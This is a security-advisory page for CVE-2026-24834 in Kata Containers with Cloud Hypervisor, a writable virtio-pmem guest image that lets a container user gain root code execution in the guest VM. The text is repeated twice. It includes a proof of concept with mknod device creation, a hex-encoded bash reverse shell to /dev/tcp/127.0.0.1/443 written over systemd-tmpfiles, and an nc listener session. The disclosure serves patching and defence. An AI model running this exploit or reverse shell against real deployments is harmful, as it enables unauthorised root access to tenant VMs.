Answer in brief
CVE-2026-24834 records a Critical severity (CVSS 9.3) tool poisoning vulnerability in Kata Container to Guest micro VM privilege escalation. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Answer in brief
CVE-2026-24834 records a Critical severity (CVSS 9.3) tool poisoning vulnerability in Kata Container to Guest micro VM privilege escalation. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Update github.com/kata-containers/kata-containers/src/runtime to 0.0.0-20260219090056-6a672503973b if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanTool Poisoning describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-24834 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/kata-containers/kata-containers/src/runtimego | <0.0.0-20260219090056-6a672503973b | 0.0.0-20260219090056-6a672503973b |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-24834 records a Critical severity (CVSS 9.3) tool poisoning vulnerability in Kata Container to Guest micro VM privilege escalation. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for github.com/kata-containers/kata-containers/src/runtime.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/kata-containers/kata-containers/src/runtime to 0.0.0-20260219090056-6a672503973b if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanTool Poisoning describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-24834 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/kata-containers/kata-containers/src/runtimego | <0.0.0-20260219090056-6a672503973b | 0.0.0-20260219090056-6a672503973b |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-24834 records a Critical severity (CVSS 9.3) tool poisoning vulnerability in Kata Container to Guest micro VM privilege escalation. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for github.com/kata-containers/kata-containers/src/runtime.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard### Summary An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file). ### Details _Linux virtio-pmem_ The `virtio-pmem` probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the `ND_REGION_PAGEMAP` and `ND_REGION_ASYNC` bits are set before the region is created, so `nd_region->ro always` stays cleared and the block device is left writable. Later, `pmem_attach_disk()` wires the region into the block layer with full read/write semantics – the block device operations call `pmem_do_write()` which performs cache-flushed memcpy operations directly into the host-provided shared memory window. `nvdimm_check_and_set_ro()` would set the disk read-only if the region had been flagged as such, but because `virtio_pmem` never sets that flag, the helper becomes a no-op. _Cloud-Hypervisor virtio_pmem_ `discard_writes=on` causes the file backing the `virtio-pmem` device to be opened read-only and mapped with `MAP_PRIVATE` rather than `MAP_SHARED`. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged. _Kata /dev/pmem0_ Kata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting `/dev/pmem*` device as its root filesystem. Since DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open `/dev/pmem0` and observe its own writes until the VM is rebooted or the cache is dropped. ### PoC When putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need `CAP_SYS_ADMIN`, but we need `CAP_MKNOD`) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file. To achieve execution on the Guest, I replaced `/usr/bin/systemd-tmpfiles` with a connect-back shell to `localhost`: timers end up executing 15min after boot. I use `debugfs` to not require mounting privileges and work directly with the filesystem on `/dev/pmem0p1` to get the absolute offset of the file to modify in the device. If you want a simpler PoC, just `dd` write something into `/dev/pmem0` and observe it's `dd` readable until discarded. ``` root@ab5392da44ce:~# mknod /dev/pmem0 b 259 0 root@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1 root@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a === Resolution === Partition device: /dev/pmem0p1 (pmem0p1) Partition start (sectors): 2048 Sector size (bytes): 512 Partition start (bytes): 1048576 Filesystem block size: 4096 File path: /usr/bin/systemd-tmpfiles File offset (bytes): 0 Logical block index: 0 Intra-block offset: 0 Physical block index: 40668 → Absolute pmem offset: 167624704 [*] Raw read (64 bytes at 167624704): 09fdc000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 09fdc010 03 00 3e 00 01 00 00 00 20 66 00 00 00 00 00 00 |..>..... f......| 09fdc020 40 00 00 00 00 00 00 00 48 82 01 00 00 00 00 00 |@.......H.......| 09fdc030 00 00 00 00 40 00 38 00 0d 00 40 00 20 00 1f 00 |[email protected]...@. ...| [+] Wrote 58 bytes at absolute offset 167624704. Verifying... 09fdc000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 62 61 73 68 |#!/bin/bash.bash| 09fdc010 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/| 09fdc020 31 32 37 2e 30 2e 30 2e 31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>| 09fdc030 26 31 0a 65 78 69 74 20 30 0a |&1.exit 0.| root@ab5392da44ce:~# nc -lvp 443 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:44880. bash: cannot set terminal process group (329): Inappropriate ioctl for device bash: no job control in this shell root@localhost:/# root@localhost:/# ps auxw ps auxw USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 17280 1920 ? Ss 16:16 0:01 /sbin/init root 2 0.0 0.0 0 0 ? S 16:16 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S 16:16 0:00 [pool_workqueue_release] root 4 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-rcu_gp] root 5 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-sync_wq] root 6 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-slub_flushwq] root 7 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-netns] root 9 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:0H-events_highpri] root 10 0.0 0.0 0 0 ? I 16:16 0:01 [kworker/0:1-events_power_efficient] root 12 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mm_percpu_wq] root 13 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_tasks_trace_kthread] root 14 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/0] root 15 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_sched] root 16 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_par_gp_kthread_worker/1] root 17 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_gp_kthread_worker] root 18 0.0 0.0 0 0 ? S 16:16 0:00 [migration/0] root 19 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/0] root 20 0.0 0.0 0 0 ? S 16:16 0:00 [kdevtmpfs] root 21 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-inet_frag_wq] root 22 0.0 0.0 0 0 ? S 16:16 0:00 [kauditd] root 23 0.0 0.0 0 0 ? S 16:16 0:00 [oom_reaper] root 24 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-writeback] root 25 0.0 0.0 0 0 ? S 16:16 0:00 [kcompactd0] root 26 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-cryptd] root 27 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kblockd] root 28 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:1H] root 29 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:1-events_unbound] root 30 0.0 0.0 0 0 ? S 16:16 0:00 [kswapd0] root 31 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfsalloc] root 32 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfs_mru_cache] root 33 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/u257:0] root 34 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kthrotld] root 36 0.0 0.0 0 0 ? S 16:16 0:00 [irq/25-ACPI:Ged] root 37 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-nfit] root 38 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/0:2-virtio_vsock] root 39 0.0 0.0 0 0 ? S 16:16 0:00 [hwrng] root 40 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:2-events_unbound] root 41 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-vfio-irqfd-cleanup] root 42 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mld] root 43 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ipv6_addrconf] root 81 0.0 0.0 0 0 ? S 16:16 0:00 [jbd2/pmem0p1-8] root 82 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ext4-rsv-conversion] root 99 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:3] root 105 0.0 0.0 62032 2568 ? Ssl 16:16 0:02 /usr/bin/kata-agent _chrony 117 0.0 0.0 10692 540 ? S 16:16 0:02 /usr/sbin/chronyd -F 1 _chrony 120 0.0 0.0 10560 460 ? S 16:16 0:00 /usr/sbin/chronyd -F 1 root 122 0.2 1.0 44876 31556 ? S 16:16 0:11 python -m server message+ 124 0.0 0.0 8120 384 ? Ss 16:16 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only root 129 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/1] root 130 0.0 0.0 0 0 ? S 16:16 0:00 [migration/1] root 131 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/1] root 132 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:0-mm_percpu_wq] root 133 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:0H-events_highpri] root 134 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:1H] root 142 0.0 0.0 5400 2220 pts/0 Ss 16:16 0:00 bash -l root 145 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:1] root 323 0.0 0.1 13212 3448 pts/0 R+ 16:17 0:00 nc -lvp 443 root 329 0.0 0.0 4780 256 ? Ss 16:31 0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean root 330 0.0 0.0 5048 512 ? S 16:31 0:00 bash -i root 377 0.0 0.0 7480 256 ? R 17:33 0:00 ps auxw root@localhost:/# ``` ### Impact Container to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)
### Summary An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file). ### Details _Linux virtio-pmem_ The `virtio-pmem` probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the `ND_REGION_PAGEMAP` and `ND_REGION_ASYNC` bits are set before the region is created, so `nd_region->ro always` stays cleared and the block device is left writable. Later, `pmem_attach_disk()` wires the region into the block layer with full read/write semantics – the block device operations call `pmem_do_write()` which performs cache-flushed memcpy operations directly into the host-provided shared memory window. `nvdimm_check_and_set_ro()` would set the disk read-only if the region had been flagged as such, but because `virtio_pmem` never sets that flag, the helper becomes a no-op. _Cloud-Hypervisor virtio_pmem_ `discard_writes=on` causes the file backing the `virtio-pmem` device to be opened read-only and mapped with `MAP_PRIVATE` rather than `MAP_SHARED`. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged. _Kata /dev/pmem0_ Kata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting `/dev/pmem*` device as its root filesystem. Since DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open `/dev/pmem0` and observe its own writes until the VM is rebooted or the cache is dropped. ### PoC When putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need `CAP_SYS_ADMIN`, but we need `CAP_MKNOD`) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file. To achieve execution on the Guest, I replaced `/usr/bin/systemd-tmpfiles` with a connect-back shell to `localhost`: timers end up executing 15min after boot. I use `debugfs` to not require mounting privileges and work directly with the filesystem on `/dev/pmem0p1` to get the absolute offset of the file to modify in the device. If you want a simpler PoC, just `dd` write something into `/dev/pmem0` and observe it's `dd` readable until discarded. ``` root@ab5392da44ce:~# mknod /dev/pmem0 b 259 0 root@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1 root@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a === Resolution === Partition device: /dev/pmem0p1 (pmem0p1) Partition start (sectors): 2048 Sector size (bytes): 512 Partition start (bytes): 1048576 Filesystem block size: 4096 File path: /usr/bin/systemd-tmpfiles File offset (bytes): 0 Logical block index: 0 Intra-block offset: 0 Physical block index: 40668 → Absolute pmem offset: 167624704 [*] Raw read (64 bytes at 167624704): 09fdc000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 09fdc010 03 00 3e 00 01 00 00 00 20 66 00 00 00 00 00 00 |..>..... f......| 09fdc020 40 00 00 00 00 00 00 00 48 82 01 00 00 00 00 00 |@.......H.......| 09fdc030 00 00 00 00 40 00 38 00 0d 00 40 00 20 00 1f 00 |[email protected]...@. ...| [+] Wrote 58 bytes at absolute offset 167624704. Verifying... 09fdc000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 62 61 73 68 |#!/bin/bash.bash| 09fdc010 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/| 09fdc020 31 32 37 2e 30 2e 30 2e 31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>| 09fdc030 26 31 0a 65 78 69 74 20 30 0a |&1.exit 0.| root@ab5392da44ce:~# nc -lvp 443 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:44880. bash: cannot set terminal process group (329): Inappropriate ioctl for device bash: no job control in this shell root@localhost:/# root@localhost:/# ps auxw ps auxw USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 17280 1920 ? Ss 16:16 0:01 /sbin/init root 2 0.0 0.0 0 0 ? S 16:16 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S 16:16 0:00 [pool_workqueue_release] root 4 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-rcu_gp] root 5 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-sync_wq] root 6 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-slub_flushwq] root 7 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-netns] root 9 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:0H-events_highpri] root 10 0.0 0.0 0 0 ? I 16:16 0:01 [kworker/0:1-events_power_efficient] root 12 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mm_percpu_wq] root 13 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_tasks_trace_kthread] root 14 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/0] root 15 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_sched] root 16 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_par_gp_kthread_worker/1] root 17 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_gp_kthread_worker] root 18 0.0 0.0 0 0 ? S 16:16 0:00 [migration/0] root 19 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/0] root 20 0.0 0.0 0 0 ? S 16:16 0:00 [kdevtmpfs] root 21 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-inet_frag_wq] root 22 0.0 0.0 0 0 ? S 16:16 0:00 [kauditd] root 23 0.0 0.0 0 0 ? S 16:16 0:00 [oom_reaper] root 24 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-writeback] root 25 0.0 0.0 0 0 ? S 16:16 0:00 [kcompactd0] root 26 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-cryptd] root 27 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kblockd] root 28 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:1H] root 29 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:1-events_unbound] root 30 0.0 0.0 0 0 ? S 16:16 0:00 [kswapd0] root 31 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfsalloc] root 32 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfs_mru_cache] root 33 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/u257:0] root 34 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kthrotld] root 36 0.0 0.0 0 0 ? S 16:16 0:00 [irq/25-ACPI:Ged] root 37 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-nfit] root 38 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/0:2-virtio_vsock] root 39 0.0 0.0 0 0 ? S 16:16 0:00 [hwrng] root 40 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:2-events_unbound] root 41 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-vfio-irqfd-cleanup] root 42 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mld] root 43 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ipv6_addrconf] root 81 0.0 0.0 0 0 ? S 16:16 0:00 [jbd2/pmem0p1-8] root 82 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ext4-rsv-conversion] root 99 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:3] root 105 0.0 0.0 62032 2568 ? Ssl 16:16 0:02 /usr/bin/kata-agent _chrony 117 0.0 0.0 10692 540 ? S 16:16 0:02 /usr/sbin/chronyd -F 1 _chrony 120 0.0 0.0 10560 460 ? S 16:16 0:00 /usr/sbin/chronyd -F 1 root 122 0.2 1.0 44876 31556 ? S 16:16 0:11 python -m server message+ 124 0.0 0.0 8120 384 ? Ss 16:16 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only root 129 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/1] root 130 0.0 0.0 0 0 ? S 16:16 0:00 [migration/1] root 131 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/1] root 132 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:0-mm_percpu_wq] root 133 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:0H-events_highpri] root 134 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:1H] root 142 0.0 0.0 5400 2220 pts/0 Ss 16:16 0:00 bash -l root 145 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:1] root 323 0.0 0.1 13212 3448 pts/0 R+ 16:17 0:00 nc -lvp 443 root 329 0.0 0.0 4780 256 ? Ss 16:31 0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean root 330 0.0 0.0 5048 512 ? S 16:31 0:00 bash -i root 377 0.0 0.0 7480 256 ? R 17:33 0:00 ps auxw root@localhost:/# ``` ### Impact Container to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)